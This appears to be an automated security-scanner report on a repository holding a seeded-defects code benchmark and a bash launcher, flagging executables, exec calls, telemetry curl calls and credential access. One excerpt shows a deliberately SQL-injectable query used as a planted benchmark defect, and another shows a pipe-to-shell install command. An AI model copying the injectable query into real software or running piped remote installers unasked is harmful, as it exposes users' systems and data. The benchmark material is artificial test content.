benchmarks/seeded-defects/cases/SD-0020/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0021/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0021/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0021/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0022/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0022/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0022/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0023/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0023/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0023/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0024/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0024/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0024/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0025/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0025/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0025/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0026/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0026/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0026/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0027/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0027/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0027/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0028/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0028/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0028/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0029/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0029/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0029/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0030/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0030/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0030/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0031/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0031/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0031/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0032/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0032/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0032/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0033/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0033/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0033/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0034/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0034/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0034/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0035/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0035/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0035/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0036/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0036/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0036/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0037/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0037/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0037/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0038/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0038/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0038/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0039/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0039/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0039/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0040/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0040/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0040/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0041/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0041/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0041/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0042/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0042/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0042/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0043/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0043/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0043/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0044/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0044/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0044/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0045/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0045/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0045/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0046/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0046/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0046/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0047/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0047/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0047/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0048/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0048/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0048/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0049/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0049/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0049/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0050/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0050/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0050/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0051/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0051/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0051/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0052/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0052/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0052/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0053/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0053/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0053/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0054/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0054/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0054/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0055/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0055/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0055/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0056/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0056/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0056/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0057/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0057/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0057/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0058/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0058/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0058/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0059/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0059/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0059/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0060/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0060/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0060/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0061/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0061/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0061/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0062/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0062/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0062/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0063/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0063/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0063/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0064/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0064/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0064/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0065/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0065/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0065/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0066/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0066/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0066/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0067/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0067/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0067/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0068/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0068/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0068/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0069/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0069/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0069/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0070/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0070/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0070/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0071/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0071/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0071/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0072/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0072/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0072/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0073/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0073/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0073/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0074/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0074/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0074/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0075/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0075/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0075/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0076/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0076/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0076/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0077/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0077/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0077/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0078/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0078/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0078/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0079/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0079/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0079/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0080/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0080/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0080/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0081/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0081/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0081/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0082/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0082/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0082/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0083/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0083/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0083/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0084/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0084/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0084/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0085/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0085/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0085/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0086/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0086/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0086/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0087/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0087/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0087/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0088/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0088/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0088/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0089/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0089/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0089/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0090/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0090/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0090/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0091/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0091/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0091/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0092/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0092/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0092/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0093/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0093/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0093/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0094/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0094/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0094/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0095/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0095/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0095/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0096/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0096/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0096/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0097/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0097/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0097/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0098/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0098/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0098/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0099/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0099/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0099/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0100/check.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0100/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/cases/SD-0100/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/generate.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Dangerous shell operationline 228
    exec(fixed, ns)
  • Network accessline 261
    buggy=f"def find(conn, name):\n    return conn.execute(\"SELECT name FROM {table} WHERE name = '%s'\" % name).fetchall()\n",         fixed=f"def find(conn, name):\n    return conn.execute('SELECT name FROM {table} WHERE name = ?', (name,)).
  • Network accessline 262
    fixed=f"def find(conn, name):\n    return conn.execute('SELECT name FROM {table} WHERE name = ?', (name,)).fetchall()\n",         visible=f"import sqlite3\nc = sqlite3.connect(':memory:')\nc.execute('CREATE TABLE {table} (name TEXT)')\n"   
  • Network accessline 263
    visible=f"import sqlite3\nc = sqlite3.connect(':memory:')\nc.execute('CREATE TABLE {table} (name TEXT)')\n"
  • Network accessline 264
    f"c.executemany('INSERT INTO {table} VALUES (?)', [('alice',), ('bob',)])\nassert find(c, 'alice') == [('alice',)]\n",         check=f"import sqlite3\nc = sqlite3.connect(':memory:')\nc.execute('CREATE TABLE {table} (name TEXT)')\n"        
  • Network accessline 265
    check=f"import sqlite3\nc = sqlite3.connect(':memory:')\nc.execute('CREATE TABLE {table} (name TEXT)')\n"
  • Access to secretsline 399
    [Credential-related source omitted]

benchmarks/seeded-defects/measure.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 137
    [Credential-related source omitted]
  • Access to secretsline 142
    [Credential-related source omitted]
  • Access to secretsline 219
    [Credential-related source omitted]
  • Access to secretsline 240
    [Credential-related source omitted]

benchmarks/seeded-defects/pr-cases/PR-0001/base/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0001/base/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0001/base/tests/test_clause.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0001/head/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0001/head/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0001/head/tests/test_clause.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0002/base/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0002/base/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0002/base/tests/test_clause.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0002/head/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0002/head/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0002/head/tests/test_clause.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0003/base/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0003/base/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0003/base/tests/test_clause.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0003/head/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0003/head/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0003/head/tests/test_clause.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0004/base/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0004/base/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0004/base/tests/test_clause.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0004/head/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0004/head/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0004/head/tests/test_clause.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0005/base/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0005/base/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0005/base/tests/test_clause.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0005/head/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0005/head/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0005/head/tests/test_clause.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0006/base/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0006/base/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0006/base/tests/test_clause.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0006/head/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0006/head/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0006/head/tests/test_clause.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0007/base/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0007/base/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0007/base/tests/test_clause.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0007/head/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0007/head/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0007/head/tests/test_clause.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0008/base/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0008/base/test_visible.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0008/head/src.py

  • Executable scriptline 1
    Executable file

benchmarks/seeded-defects/pr-cases/PR-0008/head/test_visible.py

  • Executable scriptline 1
    Executable file

bin/loki

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 110
    [Credential-related source omitted]
  • Network accessline 223
    if [ -z "${LOKI_TELEMETRY_DISABLED:-}" ] && [ "${DO_NOT_TRACK:-}" != "1" ] && [ ! -f "${HOME}/.loki-first-run" ] 2>/dev/null; then     touch "${HOME}/.loki-first-run" 2>/dev/null || true     if command -v curl &>/dev/null && [ -f "$REPO_ROO
  • Network accessline 225
    if command -v curl &>/dev/null && [ -f "$REPO_ROOT/autonomy/telemetry.sh" ]; then
  • Network accessline 379
    case "${1:-}" in         start|run|quick) ;;         *" "*|*/*\#[0-9]*|http://*|https://*) ;;
  • Network accessline 380
    start|run|quick) ;;         *" "*|*/*\#[0-9]*|http://*|https://*) ;;         *) return 0 ;;
  • Network accessline 381
    *" "*|*/*\#[0-9]*|http://*|https://*) ;;
  • Network accessline 453
    case "${1:-}" in     start|run|quick|quickstart|demo)         if command -v curl &>/dev/null && [ -f "$REPO_ROOT/autonomy/telemetry.sh" ]; then
  • Network accessline 454
    start|run|quick|quickstart|demo)         if command -v curl &>/dev/null && [ -f "$REPO_ROOT/autonomy/telemetry.sh" ]; then             if ( SCRIPT_DIR="$REPO_ROOT/autonomy"; source "$SCRIPT_DIR/telemetry.sh" 2>/dev/null \
  • Network accessline 455
    if command -v curl &>/dev/null && [ -f "$REPO_ROOT/autonomy/telemetry.sh" ]; then
  • Network accessline 510
    case "$REPO_ROOT" in         */Cellar/loki-mode/*) echo "To fix: brew install oven-sh/bun/bun" >&2 ;;         *) echo "To fix: curl -fsSL https://bun.sh/install | bash   (or reinstall: npm install -g loki-mode, without --omit=optional)" >&2
  • Network accessline 511
    */Cellar/loki-mode/*) echo "To fix: brew install oven-sh/bun/bun" >&2 ;;         *) echo "To fix: curl -fsSL https://bun.sh/install | bash   (or reinstall: npm install -g loki-mode, without --omit=optional)" >&2 ;;     esac
  • Dangerous shell operationline 512
